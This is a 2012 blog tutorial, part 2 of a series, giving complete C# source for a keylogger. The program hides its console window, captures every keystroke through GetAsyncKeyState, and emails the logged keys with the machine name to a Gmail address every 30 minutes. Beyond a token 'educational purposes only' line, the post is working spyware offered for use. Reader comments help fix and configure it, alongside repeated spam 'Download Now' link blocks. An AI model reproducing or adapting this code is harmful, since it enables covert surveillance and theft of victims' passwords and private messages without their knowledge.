About Me

Monday, May 7, 2012

Create a Console key logger using C# (part 2)


This post will describe how to make console window hide while capturing keystrokes and also how to retrieve captured keystrokes via email. Here I want to make notice, this program developed for educational purposes only and not for any illegal useJ.
Ok first you have to add more one more dllimport part to your code, which will help us to call ShowWindowAsync method to hide window after having access to main window’s pointer.
Here I made two threads one for capture keystrokes while other sends email at fixed time intervals. Rather talking mush I’ll add the code segment so you can figured it out.


using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Threading;
using System.Windows.Forms;
using System.Net.Mail;
using System.Net;
 
namespace KeyLogger
{
    class Program
    {
        [DllImport("user32.dll")]
        internal static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);
        [DllImport("user32.dll")]
        internal static extern int GetAsyncKeyState(Int32 i);
 
        internal static bool IsDebugging = false;
        internal static List<string> buffer = new List<string>();
        internal const int EmailTimeInterval = 30*60*1000;//min
 
        static void Main(string[] args)
        {
            //Handle
            if (args.Length > 0)
            {
                if (args.Length == 1)
                {
                    if (args[0].ToString().Equals("/d"))
                    {
                        IsDebugging = true;
                    }
                }
            }
 
            if (!IsDebugging)
            {
                IntPtr windowHandle = Process.GetCurrentProcess().MainWindowHandle;
                ShowWindowAsync(windowHandle, 0);
            }
 
            Thread loggingThread = new Thread(new ThreadStart(StartLogging));
            Thread communicationThread = new Thread(new ThreadStart(SendMail));
 
            loggingThread.Start();
            communicationThread.Start();
 
            StartLogging();
        }
 
        private static void StartLogging()
        {
            try
            {
                while (true)
                {
                    Thread.Sleep(10);
                    for (Int32 i = 0; i < 255; i++)
                    {
                        int keyState = GetAsyncKeyState(i);
                        if (keyState == 1 || keyState == -32767)
                        {
                            if (IsDebugging)
                            {
                                Console.WriteLine(((Keys)i) + ":" + DateTime.Now.ToString("H:mm:ss"));
                            }
                            else
                            {
                                buffer.Add(((Keys)i).ToString()+".");
                            }
                            break;
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                if (IsDebugging)
                {
                    MessageBox.Show(ex.Message);
                }
            }
        }
 
        private static void SendMail()
        {
 
            try
            {
                var fromAddress = new MailAddress("yourmail@gmail.com""from_name");
                var toAddress = new MailAddress("toaddress@gmail.com""to_name");
                const string fromPassword = "youpassword";
                string subject = System.Environment.MachineName.ToString();
                string body = "";
 
                var smtp = new SmtpClient
                {
                    Host = "smtp.gmail.com",
                    Port = 587,
                    EnableSsl = true,
                    DeliveryMethod = SmtpDeliveryMethod.Network,
                    UseDefaultCredentials = false,
                    Credentials = new NetworkCredential(fromAddress.Address, fromPassword)
                };                
 
                while (true)
                {
                    if (IsDebugging)
                    {
                        Thread.Sleep(2 * 60 * 1000);//2min
                    }
                    else
                    {
                        Thread.Sleep(EmailTimeInterval);
                    }
 
                    //construct body
                    int lowerBound = buffer.Count;//mark current count                    
                    for (int i = 0; i < lowerBound; i++)
                    {
                        body += buffer[i];
                    }
 
                    buffer.RemoveRange(0, lowerBound);
                    lowerBound = 0;
 
                    if (IsDebugging)
                    {
                        MessageBox.Show(body);
                    }
 
                    using (var message = new MailMessage(fromAddress, toAddress)
                    {
                        Subject = subject,
                        Body = body
                    })
                    {
                        smtp.Send(message);
                    }
                }
            }
            catch (Exception ex)
            {
                if (IsDebugging)
                {
                    MessageBox.Show(ex.ToString());
                }
            }
        }        
    }
}



Other than above you can debug this by sending argument /d like shown in main method.  I’ve add some buffer technique, where actually queue is being used. Once email ready to send buffer will be cleared up to the point considering thread interleaving. I’m not going to explain much about this here, think this approach would solve the problem. That’s it for now J

14 comments:

  1. Replies
    1. Techtalkz: Create A Console Key Logger Using C (Part 2) >>>>> Download Now

      >>>>> Download Full

      Techtalkz: Create A Console Key Logger Using C (Part 2) >>>>> Download LINK

      >>>>> Download Now

      Techtalkz: Create A Console Key Logger Using C (Part 2) >>>>> Download Full

      >>>>> Download LINK pz

      Delete
  2. int keyState = GetAsyncKeyState(i);
    if (keyState == 1 || keyState == -32767)//this is wrong
    {
    if (IsDebugging)
    {
    Console.WriteLine(((Keys)i) + ":" + DateTime.Now.ToString("H:mm:ss"));
    }
    else
    {
    buffer.Add(((Keys)i).ToString()+".");
    }
    break;
    }
    }

    ReplyDelete
  3. Cool example. It's a good start and any developer can customize the project as they sit fit. Kudos.

    ReplyDelete
  4. I am curious as to why you decided to use a List instead of a simple string for the log? I'm under the impression that lists are limited to about 2GB in C#, while strings take up 20+(n/2)*4 bytes (rounding the value of n/2 down). Based on this math, the size of the List would be approximately: x((20+(n/2)*4)) bytes, where x is the number of strings in the list and n is the number of characters in each individual string.

    Essentially what I'm asking is, isn't it memory efficient to use a single String object instead of a list of Strings for the purposes of this program? I understand that some of the concerns could be keys such as "LBUTTON" making the log harder to interpret if concatenated, but it seems like page breaks or something could be used to remedy this issue.

    ReplyDelete
    Replies
    1. Hi Jacob, Thanks for your previous explanations and interest of the post. Use of list instead of string was to make buffer thread keeps adding strings while communication thread pulling out strings from the front part of the list. For sure this could have been achieved using StringBuilder or simple String (I prefer StringBuilder based on number of concatenations).
      With respect to the memory efficiency you mentioned I think both ways, either list or string is not going to help since both of them are in memory storage. This can be simply resolved by adding third-party logging framework like NLog or using MemoryMaps to create log file of keystrokes.

      Delete
    2. Excellent response. I was just wondering, but I now see why you approached it how you did. I customized my own version using your code as a reference and it works great. Thanks for providing some insight on how this "problem" (logging keys) can be solved in a custom program.

      Delete
    3. Hey the email function does not seem to be working for me, what exactly do i put in the "yourmail@gmail.com" "from_name" and "toaddress@gmail.com" "to_address" parts?

      Delete
    4. It's actually pretty straight forward. I imagine you are sending the logs to yourself, so if that's the case just replace the to and from email addresses with your own. "to_name" and "from_name" is simply the sender and recipient of the email (it can be anything; doesn't matter).

      Delete
  5. Have you found a way to capture case-sensitive characters? For example, all key logs seem to be capturing upper case letters only. Perhaps checking to see if the "Shift" key is being pressed would help.

    ReplyDelete
  6. Techtalkz: Create A Console Key Logger Using C (Part 2) >>>>> Download Now

    >>>>> Download Full

    Techtalkz: Create A Console Key Logger Using C (Part 2) >>>>> Download LINK

    >>>>> Download Now

    Techtalkz: Create A Console Key Logger Using C (Part 2) >>>>> Download Full

    >>>>> Download LINK

    ReplyDelete